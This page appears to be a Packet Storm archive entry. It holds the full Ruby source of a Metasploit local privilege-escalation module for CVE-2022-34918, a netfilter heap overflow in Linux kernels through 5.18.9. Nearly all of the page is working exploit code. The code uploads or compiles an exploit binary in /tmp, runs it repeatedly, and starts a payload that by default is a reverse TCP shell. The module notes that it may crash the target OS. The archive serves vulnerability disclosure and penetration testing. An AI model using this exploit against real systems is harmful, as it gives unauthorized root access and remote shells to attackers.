what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Netfilter nft_set_elem_init Heap Overflow Privilege Escalation

Netfilter nft_set_elem_init Heap Overflow Privilege Escalation
Posted Sep 28, 2022
Authored by Redouane Niboucha, Arthur Mongodin | Site metasploit.com

An issue was discovered in the Linux kernel through version 5.18.9. A type confusion bug in nft_set_elem_init (leading to a buffer overflow) could be used by a local attacker to escalate privileges. The attacker can obtain root access, but must start with an unprivileged user namespace to obtain CAP_NET_ADMIN access. The issue exists in nft_setelem_parse_data in net/netfilter/nf_tables_api.c.

tags | exploit, overflow, kernel, local, root
systems | linux
advisories | CVE-2022-34918
SHA-256 | a48b50f226770ad9be34695226967d12509d7dd73ec5b350a5c71eafda86cc6b

Netfilter nft_set_elem_init Heap Overflow Privilege Escalation

Change Mirror Download
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::Common
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Post::Linux::Compile
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Netfilter nft_set_elem_init Heap Overflow Privilege Escalation',
'Description' => %q{
An issue was discovered in the Linux kernel through 5.18.9.
A type confusion bug in nft_set_elem_init (leading to a buffer overflow)
could be used by a local attacker to escalate privileges.
The attacker can obtain root access, but must start with an unprivileged
user namespace to obtain CAP_NET_ADMIN access.
The issue exists in nft_setelem_parse_data in net/netfilter/nf_tables_api.c.
},
'License' => MSF_LICENSE,
'Author' => [
'Arthur Mongodin <amongodin[at]randorisec.fr> (@_Aleknight_)', # Vulnerability discovery, original exploit PoC
'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # Metasploit module, exploit PoC updates
],
'DisclosureDate' => '2022-02-07',
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'SessionTypes' => %w[meterpreter shell],
'DefaultOptions' => {
'Payload' => 'linux/x64/shell_reverse_tcp',
'PrependSetresuid' => true,
'PrependSetresgid' => true,
'PrependFork' => true,
'WfsDelay' => 30
},
'Targets' => [['Auto', {}]],
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [UNRELIABLE_SESSION], # The module could fail to get root sometimes.
'Stability' => [OS_RESOURCE_LOSS, CRASH_OS_DOWN], # After too many failed attempts, the system needs to be restarted.
'SideEffects' => [ARTIFACTS_ON_DISK]
},
'References' => [
['CVE', '2022-34918'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2022-34918'],
['URL', 'https://ubuntu.com/security/CVE-2022-34918'],
['URL', 'https://www.randorisec.fr/crack-linux-firewall/'],
['URL', 'https://github.com/randorisec/CVE-2022-34918-LPE-PoC']
]
)
)

register_options(
[
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]),
OptInt.new('MAX_TRIES', [ true, 'Number of times to execute the exploit', 5])
]
)

register_advanced_options(
[
OptString.new('WritableDir', [true, 'Directory to write persistent payload file.', '/tmp'])
]
)
end

def base_dir
datastore['WritableDir']
end

def upload_exploit_binary
@executable_path = ::File.join(base_dir, rand_text_alphanumeric(5..10))
upload_and_chmodx(@executable_path, exploit_data('CVE-2022-34918', 'ubuntu.elf'))
register_file_for_cleanup(@executable_path)
end

def upload_payload_binary
@payload_path = ::File.join(base_dir, rand_text_alphanumeric(5..10))
upload_and_chmodx(@payload_path, generate_payload_exe)
register_file_for_cleanup(@payload_path)
end

def upload_source
@exploit_source_path = ::File.join(base_dir, rand_text_alphanumeric(5..10))
mkdir(@exploit_source_path)
register_dir_for_cleanup(@exploit_source_path)
dirs = [ '.' ]
until dirs.empty?
current_dir = dirs.pop
dir_full_path = ::File.join(::Msf::Config.install_root, 'external/source/exploits/CVE-2022-34918', current_dir)
Dir.entries(dir_full_path).each do |ent|
next if ent == '.' || ent == '..'

full_path_host = ::File.join(dir_full_path, ent)
relative_path = ::File.join(current_dir, ent)
full_path_target = ::File.join(@exploit_source_path, current_dir, ent)
if File.file?(full_path_host)
vprint_status("Uploading #{relative_path} to #{full_path_target}")
upload_file(full_path_target, full_path_host)
elsif File.directory?(full_path_host)
vprint_status("Creating the directory #{full_path_target}")
mkdir(full_path_target)
dirs.push(relative_path)
else
print_error("#{full_path_host} doesn't look like a file or a directory")
end
end
end
end

def compile_source
fail_with(Failure::BadConfig, 'make command not available on the target') unless command_exists?('make')
info = cmd_exec("make -C #{@exploit_source_path}")
vprint_status(info)
@executable_path = ::File.join(@exploit_source_path, 'ubuntu.elf')
if exists?(@executable_path)
chmod(@executable_path, 0o700) unless executable?(@executable_path)
print_good('Compilation was successful')
else
fail_with(Failure::UnexpectedReply, 'Compilation has failed (executable not found)')
end
end

def run_payload
success = false
1.upto(datastore['MAX_TRIES']) do |i|
vprint_status "Execution attempt ##{i}"
info = cmd_exec(@executable_path, @payload_path)
info.each_line do |line|
vprint_status(line.chomp)
end
if session_created?
success = true
break
end
sleep 3
end
if success
print_good('A session has been created')
else
print_bad('Exploit has failed')
end
end

def get_external_source_code(cve, file)
file_path = ::File.join(::Msf::Config.install_root, "external/source/exploits/#{cve}/#{file}")
::File.binread(file_path)
end

def module_check
release = kernel_release
version = "#{release} #{kernel_version.split(' ').first}"
ubuntu_offsets = strip_comments(get_external_source_code('CVE-2022-34918', 'src/util.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first
ubuntu_kernels = ubuntu_offsets.scan(/"(.+?)"/).flatten
if ubuntu_kernels.empty?
fail_with(Msf::Module::Failure::BadConfig, 'Error parsing the list of supported kernels.')
end
fail_with(Failure::NoTarget, "No offsets for '#{version}'") unless ubuntu_kernels.include?(version)

fail_with(Failure::BadConfig, "#{base_dir} is not writable.") unless writable?(base_dir)
fail_with(Failure::BadConfig, '/tmp is not writable.') unless writable?('/tmp')

if is_root?
fail_with(Failure::BadConfig, 'Session already has root privileges.')
end
end

def check
config = kernel_config

return CheckCode::Unknown('Could not retrieve kernel config') if config.nil?

return CheckCode::Safe('Kernel config does not include CONFIG_USER_NS') unless config.include?('CONFIG_USER_NS=y')

return CheckCode::Safe('Unprivileged user namespaces are not permitted') unless userns_enabled?

return CheckCode::Safe('LKRG is installed') if lkrg_installed?

arch = kernel_hardware

return CheckCode::Safe("System architecture #{arch} is not supported") unless arch.include?('x86_64')

release = kernel_release

version, patchlvl = release.match(/^(\d+)\.(\d+)/)&.captures
if version&.to_i == 5 && patchlvl && (7..19).include?(patchlvl.to_i)
return CheckCode::Appears # ("The kernel #{version} appears to be vulnerable, but no offsets are available for this version")
end

CheckCode::Safe
end

def exploit
module_check unless datastore['ForceExploit']

if datastore['COMPILE'] == 'True' || (datastore['COMPILE'] == 'Auto' && command_exists?('make'))
print_status('Uploading the exploit source code')
upload_source
print_status('Compiling the exploit source code')
compile_source
else
print_status('Dropping pre-compiled binaries to system...')
upload_exploit_binary
end
print_status('Uploading payload...')
upload_payload_binary
print_status('Running payload on remote system...')
run_payload
end
end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close